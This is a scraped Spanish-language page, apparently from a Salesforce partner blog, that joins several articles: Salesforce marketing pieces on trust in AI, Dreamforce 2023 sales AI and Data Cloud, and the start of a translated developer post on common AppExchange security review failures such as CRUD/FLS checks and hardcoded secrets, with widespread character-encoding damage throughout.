Ahora que entendemos los cuatro pilares de la confianza, vamos a aprovecharlos y ver c贸mo podemos fomentar la confianza con la IA. 驴C贸mo podemos tomar la IA, que a menudo se considera un disruptor, y convertirla en el aliado que refuerza la confianza y la lealtad ? Exploremos algunos escenarios.

Demostrar competencia:

  • Comparta historias de 茅xito: muestre el impacto de su plataforma de IA a trav茅s de estudios de casos convincentes y ejemplos del mundo real. Por ejemplo, resalte los desaf铆os que enfrentaron sus clientes y c贸mo su plataforma brind贸 soluciones innovadoras. Estas historias de 茅xito act煤an como testimonio de su competencia.
  • Visualice resultados: utilice la visualizaci贸n de datos para traducir resultados complejos en im谩genes claras y comprensibles. Podr谩 demostrar la eficacia de su plataforma y tambi茅n mejorar la comprensi贸n del cliente.

Garantizar la fiabilidad:

  • Establezca expectativas claras: establezca el alcance, el cronograma y los resultados de los proyectos desde el principio. Esta transparencia permite a los clientes esperar resultados y comprender el camino que les espera.
  • Supere las expectativas: vaya m谩s all谩 de lo b谩sico. Entregue proyectos antes de lo previsto, ofrezca informaci贸n adicional o proporcione recomendaciones que se alineen con su compromiso con el 茅xito del cliente.

Impulsar la transformaci贸n continua con
La Oficina de Innovaci贸n Continua

Los servicios profesionales de Salesforce pueden ayudarle a elevar sus capacidades para obtener el m谩ximo valor de su
Inversi贸n en Salesforce.

Defender la integridad:

  • Documentaci贸n transparente: comparta c贸mo funciona su plataforma de IA, incluidas sus fuentes de datos y algoritmos. La comunicaci贸n transparente le ayudar谩 a generar confianza y aclarar cualquier confusi贸n.
  • Compromiso 茅tico: enfatice su dedicaci贸n a las pr谩cticas 茅ticas de IA y la seguridad de los datos. Aseg煤rese de compartir c贸mo sigue las pautas 茅ticas y las normas de privacidad de datos. Al hacerlo, tranquilizar谩 a los clientes sobre su integridad.

Intenci贸n de exhibici贸n:

  • Soluciones personalizadas: adapte sus soluciones de IA para que coincidan con los objetivos espec铆ficos de su cliente . Muestre c贸mo est谩 dise帽ada su plataforma para abordar sus requisitos 煤nicos. Como resultado, reforzar谩 lo importante que es para usted su 茅xito.
  • Alineaci贸n continua: mida y comunique peri贸dicamente c贸mo sus soluciones de IA contribuyen no solo a los objetivos del cliente sino tambi茅n a sus objetivos de sostenibilidad m谩s amplios. Esta alineaci贸n continua subraya su dedicaci贸n a su 茅xito y su compromiso con la responsabilidad ambiental en toda la asociaci贸n.

Al integrar estos pilares en su estrategia de IA, abordar谩 las preocupaciones sobre la confianza y podr谩 posicionar la IA como un catalizador para la creaci贸n de confianza.

Un futuro de confianza con IA

A medida que la IA contin煤a transformando las industrias, no podemos exagerar la importancia de la confianza. En Salesforce Professional Services , reconocemos que la confianza es primordial en el mundo de la IA confiable. Nuestro equipo dedicado est谩 listo para guiarlo a trav茅s de este panorama transformador.

Salesforce Professional Services ofrece una oportunidad 煤nica a las organizaciones que inician su viaje hacia la IA. Adopte AI Coach y aproveche nuestra experiencia para maximizar el potencial de la IA. Trabajamos con usted para escalar y personalizar las experiencias de los clientes aline谩ndonos con los resultados comerciales, construyendo un camino hacia el valor comercial, prepar谩ndonos para la entrega inmediata y estableciendo una hoja de ruta para el estado futuro que est茅 alineada con su visi贸n y objetivos.

Con un historial de implementaciones exitosas de IA y un compromiso con las pr谩cticas 茅ticas, ofrecemos experiencia que va m谩s all谩 de la tecnolog铆a: es una asociaci贸n basada en la confianza.

Mark Wakelin

Mark Wakelin , vicepresidente ejecutivo de servicios profesionales globales

Ejecutivo senior con experiencia como director ejecutivo y director de 茅xito de la plataforma Salesforce, gestionando organizaciones con m谩s de 10 000 empleados y ventas superiores a los 3 mil millones de d贸lares. M谩s de 30 a帽os de experiencia en ERP, Front-Office, computaci贸n en la nube, SaaS e IA generativa, impulsando la innovaci贸n y el valor empresarial. Enfocados en la diversidad, la inclusi贸n y la igualdad en el lugar de trabajo, con un compromiso con la filantrop铆a. Aproveche su profunda experiencia financiera y t茅cnica para lograr el 茅xito.

M谩s de Mark

Seguir leyendo

Todo lo que aprendimos sobre IA para ventas en Dreamforce 2023

Todo lo que aprendimos sobre IA para ventas en Dreamforce 2023

Dreamforce fue 茅pico. Compartimos consejos y noticias de la industria con Salesblazers, hicimos amigos y repartimos montones de regalos (nuestros peluches son insuperables). Sin embargo, entre todas las sesiones de puesta al d铆a y aprendizaje de este a帽o, se destac贸 un tema: la importancia cr铆tica de la inteligencia artificial (IA) en las ventas.

Los equipos de ventas est谩n viendo el surgimiento de nuevas herramientas de inteligencia artificial para ayudar a la prospecci贸n, el entrenamiento y la previsi贸n, todo al servicio de la eficiencia de las ventas. Tambi茅n hay un mayor inter茅s en la informaci贸n sobre los clientes en tiempo real como ventaja competitiva, alojada en un CRM 煤nico y seguro.

驴C贸mo est谩n aprovechando todo esto los mejores equipos de ventas, manteniendo al mismo tiempo relaciones s贸lidas con los clientes? Descubra sus consejos y trucos de ventas a continuaci贸n.

驴Te perdiste la conferencia magistral de Dreamforce Sales Cloud? Transm铆talo en Salesforce+

Escuche lo que dicen los l铆deres de ventas innovadores sobre la innovaci贸n impulsada por la IA, la toma de decisiones basada en datos y las 煤ltimas innovaciones de Sales Cloud.

1. Priorice los datos seguros antes de adoptar la IA generativa

El campo en constante evoluci贸n de la IA promete mejorar la eficiencia de los vendedores, pero conlleva algunos desaf铆os de seguridad. Una investigaci贸n reciente de Salesforce encontr贸 que el 73% de los empleados cree que la IA generativa introduce nuevos riesgos de seguridad. Hay buenos motivos para preocuparse: las herramientas p煤blicas de IA generativa carecen de cifrado de datos, de enmascaramiento de datos y, en realidad, de cualquier tipo de protecci贸n de seguridad. Esto hace que sus datos sean vulnerables al robo y al mal uso.

En el 煤ltimo a帽o, todos nos hemos vuelto un poco m谩s inteligentes en lo que respecta a la seguridad. Ahora sabemos que debemos evitar conectar los datos de los clientes a herramientas p煤blicas de IA generativa y que todav铆a necesitamos un ser humano en el medio para revisar manualmente cualquier copia de IA generativa para garantizar la precisi贸n. Y si desea aprovechar la IA generativa, debe hacerlo en un entorno que pueda controlar, con todas las protecciones de seguridad que necesita para evitar que sus datos caigan en las manos equivocadas.

C贸mo Salesforce le ayuda a mantener la seguridad:

La confianza siempre ha sido nuestro valor n煤mero uno, raz贸n por la cual lanzamos Einstein Trust Layer a principios de este a帽o. Se trata de una arquitectura de IA segura, integrada de forma nativa en la plataforma Salesforce. Dise帽ado para est谩ndares de seguridad empresarial, permite a los equipos beneficiarse de la IA generativa sin comprometer los datos de sus clientes. Por ejemplo, si bien los mensajes impulsan cada salida de IA generativa, nuestra arquitectura Zero Retention garantiza que no se almacenen datos de clientes fuera de Salesforce. El enmascaramiento de datos (ocultar cualquier informaci贸n confidencial de una empresa o un individuo) proporciona una capa adicional de protecci贸n.

2. No esperes para unirte a la IA generativa

La IA generativa puede parecer una adici贸n espectacular a su pila tecnol贸gica, pero no es simplemente algo "bueno tenerlo". Lo necesita para seguir siendo competitivo. Seg煤n nuestro reciente informe Tendencias en IA generativa para ventas , el 55% de los profesionales de ventas informan que actualmente o planean usar IA generativa, y el 58% dice que les ayuda o les ayudar谩 a aumentar la productividad.

Es f谩cil ver por qu茅 la adopci贸n est谩 aumentando. Los representantes pueden utilizar indicaciones basadas en texto para identificar clientes potenciales, investigar empresas, redactar correos electr贸nicos e incluso analizar correos electr贸nicos anteriores para descubrir necesidades de clientes potenciales que no han abordado. Los CRM m谩s avanzados impulsados por IA pueden personalizar las comunicaciones e incluso imitar la voz y el tono de los representantes. Esto permite a los vendedores deshacerse de las tareas manuales que consumen mucho tiempo y centrarse en lo que realmente importa: construir relaciones significativas con los clientes .

C贸mo ayuda Sales Cloud a que la IA sea accesible para todos:

En Dreamforce, presentamos algunas ingeniosas innovaciones de IA generativa para Sales Cloud ofrecidas a trav茅s de Einstein 1 Sales, nuestro conjunto de herramientas de IA:

Resumen de llamadas: resuma autom谩ticamente las llamadas para resaltar los temas clave cubiertos durante las reuniones y los pr贸ximos pasos.

Correos electr贸nicos de ventas: genere autom谩ticamente correos electr贸nicos personalizados e hiperrelevantes para cada conversaci贸n de ventas utilizando los datos del cliente que ya est谩n alojados en Sales Cloud.

Einstein Copilot para ventas: descargue el trabajo pesado durante todo el ciclo de ventas a un asistente digital, incluida la investigaci贸n de cuentas, la preparaci贸n de reuniones (establecimiento de agenda y notas a tener en cuenta) y actualizaciones de registros de transacciones.

3. Ap贸yese en el an谩lisis en tiempo real y la IA predictiva para ganar cuando llegue el cambio

Como selament贸 recientemente uno de nuestros Salesblazers, muchas empresas todav铆a est谩n atrapadas en hojas de c谩lculo obsoletas que requieren actualizaciones y an谩lisis manuales lentos y que consumen mucho tiempo. 脡se es el engorroso modus operandi operativo del pasado y dificulta actuar seg煤n la informaci贸n m谩s reciente sobre acuerdos. Peor a煤n: predecir lo que suceder谩 a continuaci贸n es una tarea herc煤lea e imprecisa.

Al aprovechar el poder de la automatizaci贸n, los equipos de ventas pueden apoyarse en su CRM para actualizar los registros de transacciones en tiempo real (l茅ase: no m谩s hojas de c谩lculo). Cuando se combina con IA predictiva, los representantes y gerentes pueden recibir alertas sobre posibles problemas de acuerdos y pron贸sticos antes de que las cosas se descarrilen.

Y eso es realmente s贸lo el comienzo. Imag铆nese esto: mientras los representantes se mantienen al tanto de las 煤ltimas novedades sobre los acuerdos, los gerentes aprovechan los datos en tiempo real para realizar un seguimiento del desempe帽o del equipo sobre la marcha, identificando oportunidades de capacitaci贸n en el momento (como clientes potenciales estancados) que pueden abordar r谩pidamente para mantener a los representantes encaminados. . Al mando, los l铆deres utilizan los datos m谩s recientes para obtener una visi贸n hol铆stica del desempe帽o de su organizaci贸n de ventas en relaci贸n con los objetivos.

Los datos en tiempo real y la IA predictiva son las claves de todo esto, lo que permite a los equipos de ventas detectar se帽ales de alerta tempranas y cambiar r谩pidamente las estrategias para garantizar que alcancen sus objetivos de ventas .

C贸mo la IA predictiva y en tiempo real de Sales Cloud le ayuda a mantenerse por delante de sus competidores:

Al utilizarEinstein Activity Capture , Sales Cloud captura y unifica autom谩ticamente datos de cada interacci贸n con el cliente, como correos electr贸nicos, chats en l铆nea y llamadas telef贸nicas, para que los representantes puedan ver su propio "estado de ventas" en cualquier momento. A煤n mejor, los equipos pueden extraer datos de herramientas de terceros y armonizarlos con los registros de CRM existentes para obtener una vista de 360 grados de cada cliente y cliente potencial. Aplique la funcionalidad predictiva de IA y obtendr谩 recomendaciones muy relevantes para los pr贸ximos mejores pasos que har谩n avanzar cada acuerdo.

Para gerentes y l铆deres de ventas, las actualizaciones de datos en tiempo real y la IA predictiva se unen en El panel Deal Insights de Sales Cloud para detectar posibles problemas de pron贸stico con anticipaci贸n para que los equipos puedan ajustar la estrategia y mantener el rumbo. La actividad de los representantes tambi茅n se captura a trav茅s de Activity 360 : los gerentes pueden ver m茅tricas clave del equipo, como clientes potenciales en proceso y tasa de ganancias, en un solo lugar para descubrir oportunidades de capacitaci贸n mientras todav铆a hay tiempo para impactar los acuerdos.

4. Invierta en una 煤nica plataforma en lugar de m煤ltiples herramientas desconectadas

Nuestro reciente informe sobre el estado de las ventas revel贸 una cruda realidad: el 66% de los representantes de ventas se sienten abrumados por la multitud de herramientas disponibles. El atractivo de la tecnolog铆a de pr贸xima generaci贸n, incluidos los complementos de IA generativa y las herramientas de funci贸n 煤nica, amenaza con agravar ese problema.

驴El grito de guerra del escenario de Dreamforce? Simplifique su pila tecnol贸gica . Reemplace las soluciones puntuales con una plataforma que pueda ampliar con nuevas caracter铆sticas, capacidades o funciones a medida que surjan las necesidades. Priorice las funciones principales, como la gesti贸n de contactos, la gesti贸n de canales y la previsi贸n, pero tambi茅n busque una plataforma que le permita integrar perfectamente capacidades de IA y an谩lisis en tiempo real para eliminar la fatiga de alternar entre sistemas.

C贸mo le ayuda Sales Cloud a impulsar las ventas de un extremo a otro:

M谩s all谩 de satisfacer las necesidades b谩sicas del d铆a a d铆a de los vendedores a trav茅s de herramientas como Activity Capture, puede aprovechar la plataforma Sales Cloud para simplificar su pila tecnol贸gica en ventas y operaciones, al tiempo que incorpora el poder de la IA. Por ejemplo, los equipos que supervisan la planificaci贸n de ventas y los programas de habilitaci贸n de ventas pueden utilizar el poder de los datos de actividad de clientes y vendedores en tiempo real para realizar esa planificaci贸n y seguimiento de resultados directamente dentro de Sales Cloud CRM. Muchos clientes de Sales Cloud incluso extienden las funciones de automatizaci贸n e inteligencia de su CRM a los canales de socios a trav茅s de nuestra soluci贸n Partner Relationship Management .

5. La tecnolog铆a es importante, pero no pierdas el foco en las relaciones

Este 煤ltimo es un poco pivote.

Si hay algo que ha llamado la atenci贸n de los l铆deres de ventas en los 煤ltimos tiempos es esto: las relaciones te hacen o te deshacen. Es importante que estemos al tanto de las 煤ltimas tecnolog铆as, como la IA, pero lo que es igualmente importante son las conexiones que establecemos con nuestros equipos y nuestros clientes. Eso siempre comienza con la superaci贸n personal. Cuanto mejor seas para involucrarte, comunicarte y animar a los dem谩s, mejores ser谩n tus relaciones.

Los Salesblazers hablaron mucho sobre esto durante Dreamforce, pero tres consejos fueron los que m谩s resonaron. Primero, nunca dejes de aprender. Tome clases, obtenga experiencia pr谩ctica, haga crecer su red de pares y aprenda de otros en su campo. En segundo lugar, valore la confianza que se ha ganado con sus clientes y contin煤e fortaleciendo esas relaciones haciendo un seguimiento y ofreci茅ndoles recursos 煤tiles que sabe que necesitan. En tercer lugar, muestra siempre lo mejor de ti. T贸mese el tiempo para comprender qu茅 es lo que realmente motiva a sus clientes y brinde las soluciones que necesitan antes de que sepan que las necesitan. Haga un esfuerzo adicional y descubrir谩 que la lealtad llega r谩pidamente.

Hay d铆as dif铆ciles y d铆as f谩ciles, pero cada d铆a es una oportunidad para apuntalar las relaciones que son la base de las ventas.

C贸mo Salesforce puede ayudarle a fomentar relaciones s贸lidas:

La comunidad Salesblazer es el lugar al que acuden todos los profesionales de ventas para obtener asesoramiento profesional, orientaci贸n t谩ctica de ventas y creaci贸n de redes. 脷nase y con茅ctese con compa帽eros Salesblazers que pueden ayudarlo a aprender, conectarse y crecer.

Prep谩rese para el 茅xito en las ventas

驴Qu茅 aprendimos en Dreamforce? En resumen, la IA es el nombre del juego. A medida que evoluciona la industria de las ventas, los l铆deres de ventas pueden mejorar la productividad con IA generativa, tomar decisiones m谩s r谩pidas basadas en datos con IA predictiva y optimizar la tecnolog铆a para que los representantes puedan centrarse m谩s en la construcci贸n de relaciones. Si los tiene en la mira, en 2024 estar谩 por delante del resto.

Transmita lo mejor de Dreamforce 2023

驴Extra帽as la magia? No te preocupes. Vea toda la cobertura de IA y vea qu茅 est谩n haciendo los principales l铆deres de ventas para salir adelante en 2023. 隆Todo est谩 bajo demanda en Salesforce+!

Seguir leyendo

C贸mo comenzar con Salesforce Data Cloud: gu铆a 101 y casos de uso

C贸mo comenzar con Salesforce Data Cloud: gu铆a 101 y casos de uso

脷ltima actualizaci贸n el 2 de octubre de 2023 por Rakesh Gupta

Los datos no son s贸lo un buen extra; es esencial. Especialmente ahora, cuando las empresas operan en gran medida en espacios digitales, la necesidad de un buen uso de los datos es clara. El papel del an谩lisis de datos se ha vuelto crucial para impulsar el 茅xito de una empresa. Es importante que los l铆deres de las empresas tengan un plan de datos s贸lido, uno que permita que sus negocios avancen r谩pidamente y enfrenten desaf铆os dif铆ciles.

Los equipos se benefician enormemente de un an谩lisis de datos s贸lido. Pueden tomar decisiones inteligentes m谩s r谩pido que antes y tambi茅n con mayor precisi贸n. Este tipo de uso de datos tambi茅n ayuda a los equipos a trabajar mejor juntos al eliminar cosas que obstaculizan un buen trabajo en equipo. Los l铆deres de TI tienen un papel especial aqu铆. Tienen las habilidades para hacer que los datos sean 煤tiles de nuevas maneras, transformando el trabajo de los equipos y mejorando la experiencia de los clientes.

驴Qu茅 es Salesforce Data Cloud y por qu茅 deber铆a implementarlo?

Salesforce Data Cloud est谩 dise帽ada para cambiar la forma en que las empresas interact煤an con los clientes. Es bueno para recopilar datos de diferentes lugares. Estos datos van a una gran 谩rea de almacenamiento llamada lago de datos. Luego utiliza un an谩lisis preciso para explicar lo que significan los datos.

Salesforce Data Cloud ayuda a vincular varias fuentes y nubes m谩s r谩pidamente en toda la plataforma. Sin embargo, Data Cloud tambi茅n es un art铆culo que se puede pedir. Aunque no todos los clientes de Salesforce han comprado Data Cloud, aunque se encuentran en el punto de partida, todav铆a utilizan Data Cloud hasta cierto nivel. Sin embargo, todo esto se fortalece cuando se utiliza la Nube de Datos como plataforma de personalizaci贸n y unificaci贸n de datos.

驴Por qu茅 necesito implementar una nube de datos ahora?

Imag铆nese c贸mo el volumen de datos crece r谩pidamente cuando piensa en la cantidad de clics que hace cada cliente. Puede realizar un seguimiento de dichos datos de participaci贸n a medida que ocurren, por ejemplo, cuando los usuarios abren y hacen clic en correos electr贸nicos, exploran p谩ginas en sus aplicaciones m贸viles y miran art铆culos en su tienda en l铆nea. Es mucho m谩s probable que las personas hagan clic cuando les env铆as un correo electr贸nico o una oferta que les resulta 煤til. Puede capturar la interacci贸n cuando un consumidor hace clic en Data Cloud. Cuando sepa qu茅 les interesa y si es probable que compren algo o no, podr谩 aprovechar esta informaci贸n a su favor.

Para cada sector o puesto, la Nube de Datos puede generar experiencias y oportunidades de negocio potentes.

Para analizar cuentas integradas y adquirir informaci贸n r谩pida y f谩cilmente sobre sus clientes y los efectos comerciales, los analistas pueden conectar Data Cloud a Tableau o QlikView . Cuando una empresa puede identificar a sus consumidores en funci贸n de la cantidad y el tema de sus tickets de soporte, puede desarrollar y llevar a cabo un plan para reducir esos tickets. Verifique los datos nuevamente para asegurarse de que el plan haya tenido 茅xito.

Los desarrolladores pueden crear software utilizando datos de Data Cloud, como un sistema de puntuaci贸n de salud que mide la puntuaci贸n de salud de un paciente utilizando objetos e informaci贸n predise帽ados. Cuando una actividad de datos inicia un flujo para enviar notificaciones a los m茅dicos cuando una puntuaci贸n cae por debajo de un nivel espec铆fico, esa puntuaci贸n y su uso se convierten en una experiencia que salva vidas.

Seg煤n la probabilidad de conversi贸n de un cliente, los vendedores pueden obtener informaci贸n sobre sus clientes potenciales y sus ventas potenciales. Seg煤n los h谩bitos de navegaci贸n de los usuarios y los niveles actuales de oferta de productos, la gesti贸n del comercio electr贸nico puede utilizar datos para personalizar su sitio web.

驴C贸mo funciona la nube de datos de Salesforce?

Fuente de la imagen: Blog de desarrolladores de Salesforce Re煤na todos los datos de sus clientes en Data Cloud

En pocas palabras, Data Cloud permite a los administradores de Salesforce realizar una variedad de acciones, que incluyen, entre otras:

  • Vincula tus fuentes de datos por lotes y de streaming.
  • Refine los datos entrantes empleando m茅todos de transformaci贸n y adhiri茅ndose a protocolos de gobernanza.
  • Estandariza tus datos conform谩ndolos a un modelo establecido.
  • Fusione diferentes elementos de datos mediante la aplicaci贸n de reglas de coincidencia de identidades.
  • Explore su conjunto de datos para obtener informaci贸n mediante consultas y an谩lisis en profundidad.
  • Implementar algoritmos de inteligencia artificial para pronosticar comportamientos.
  • Divida y fragmente sus datos y luego implem茅ntelos en m煤ltiples plataformas para crear experiencias personalizadas.
  • Eval煤e sus datos a trav茅s de soluciones de an谩lisis compatibles.
  • Exporte estos datos a diversos destinos, alineando acciones con objetivos comerciales espec铆ficos.
  • Vuelva a evaluar, cuantifique y ajuste peri贸dicamente sus activos de datos.
Fuente de la imagen: Ayuda de Salesforce Acerca de Salesforce Data Cloud

C贸mo empezar con la nube de datos

Se puede utilizar una estructura similar a un lago de datos para describir Salesforce Data Cloud. Como ejemplo, recopilando todos los datos de la plataforma Salesforce. Sin embargo, tambi茅n es capaz de importar datos de otras fuentes externas, como lagos de datos.

Perspectiva :

Un lago de datos es una ubicaci贸n concentrada para almacenar datos no procesados. Las empresas utilizan este sistema de almacenamiento enorme, adaptable y asequible para recopilar y guardar grandes cantidades de datos organizados, no estructurados y semiestructurados en su formato original. Las publicaciones en redes sociales, los registros de sensores y los datos de ubicaci贸n son solo algunos ejemplos de los datos no estructurados que recopilan los lagos de datos.

Lo que indica para los usuarios : las marcas son m谩s capaces de predecir los requisitos y necesidades de los consumidores debido a la gran cantidad de informaci贸n accesible en un lago de datos.

C贸mo afecta a los equipos : Los equipos pueden acceder a enormes cantidades de datos en una ubicaci贸n, lo que les permite moverse m谩s r谩pidamente y mantenerse al d铆a con (o superar) a los oponentes.

Pasos de implementaci贸n

Revise esta lista de verificaci贸n sugerida antes de comenzar a utilizar Data Cloud. Confirme que su equipo est茅 configurado antes de implementar Data Cloud, verifique estos puntos:

  • El equipo comprende los principales conceptos y restricciones que pueden afectar la facturaci贸n.
  • Analiza la gesti贸n de la marca y la estructura organizacional.
  • Examina los principios del modelo de datos antes de acordar una estrategia de datos.
  • Analice los datos que ya tiene y las fuentes de datos.
  • Reconoce a un administrador de Salesforce para configurar Salesforce Data Cloud.
  • Enumera los usuarios adem谩s de los permisos que requieren.
  • Establece objetivos de segmentaci贸n.
Fuente de la imagen: Configuraci贸n de la nube de datos del m贸dulo Trailhead

Costo y disponibilidad de Salesforce Data Cloud

Salesforce Data Cloud es costoso. Es una inversi贸n que requiere una planificaci贸n meticulosa porque comienza en $10 mil por organizaci贸n, mensualmente. De manera realista, dependiendo de los valores de sus datos, es posible que su empresa ya necesite gastar m谩s en Data Cloud. Como tus datos crecen constantemente, es importante tenerlo presente todo el tiempo, pero…  

鈥 En el 煤ltimo evento de Dreamforce, Salesforce anunci贸 que las licencias gratuitas de Data Cloud ya est谩n disponibles. Los clientes que tengan Enterprise Edition o superior ahora pueden acceder a Data Cloud sin costo alguno. En esta oferta se incluyen dos licencias de Tableau Creator, que permiten a las empresas conectar hasta 10聽000 perfiles de clientes y comenzar sus exploraciones.

En conclusi贸n

Los datos son m谩s cruciales que nunca y supervisar el flujo de datos en constante crecimiento es un trabajo incre铆ble. Sin embargo, los datos tienen una enorme influencia. El potencial de obtener conocimientos empresariales que puedan fundamentar decisiones y producir experiencias sorprendentes para los clientes crece a medida que aumenta el acceso a los datos y la alfabetizaci贸n sobre datos para las personas de toda su empresa. La IA y el CRM se pueden utilizar para impulsar actividades inteligentes y proporcionar servicios personalizados a escala cuando se combinan con datos procesables en tiempo real.

Ahora, con Data Cloud y Einstein AI nativos en la plataforma Einstein 1, las empresas pueden crear f谩cilmente aplicaciones y flujos de trabajo impulsados por AI que potencian la productividad, reducen costos y brindan incre铆bles experiencias a los clientes. 鈥 Parker Harris, cofundador y director de tecnolog铆a, Salesforce

Los datos del cliente, el contenido empresarial, los datos de telemetr铆a, los chats de Slack, los datos parcialmente estructurados y otros datos estructurados y no estructurados se fusionan y conectan mediante Data Cloud, la plataforma de datos a hiperescala de Salesforce que funciona en tiempo real, para generar un perfil 煤nico del cliente. La plataforma ya vincula e integra 100 mil millones de registros diariamente y procesa 30 billones de transacciones mensuales.

Las empresas ahora pueden crear perfiles de clientes completos y unificados, ofrecer nuevas experiencias de CRM y acceder a datos fragmentados de formas completamente nuevas gracias a la integraci贸n completa de la nueva Nube de Datos con la Plataforma Einstein 1.

Referencias:

Dorian es un administrador y desarrollador certificado 4x de Salesforce con amplia experiencia en la personalizaci贸n de Salesforce seg煤n las necesidades del cliente. Comenz贸 su trayectoria en TI como administrador de CRM y mantuvo su enfoque en el ecosistema de Salesforce. Le encanta explorar nuevas integraciones en Salesforce y detectar formas alternativas de optimizar los procesos comerciales dentro del CRM. Actualmente trabaja como desarrollador de Salesforce a tiempo completo y contribuye con contenido al portal educativo SFApps.info.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es lo que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntete libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
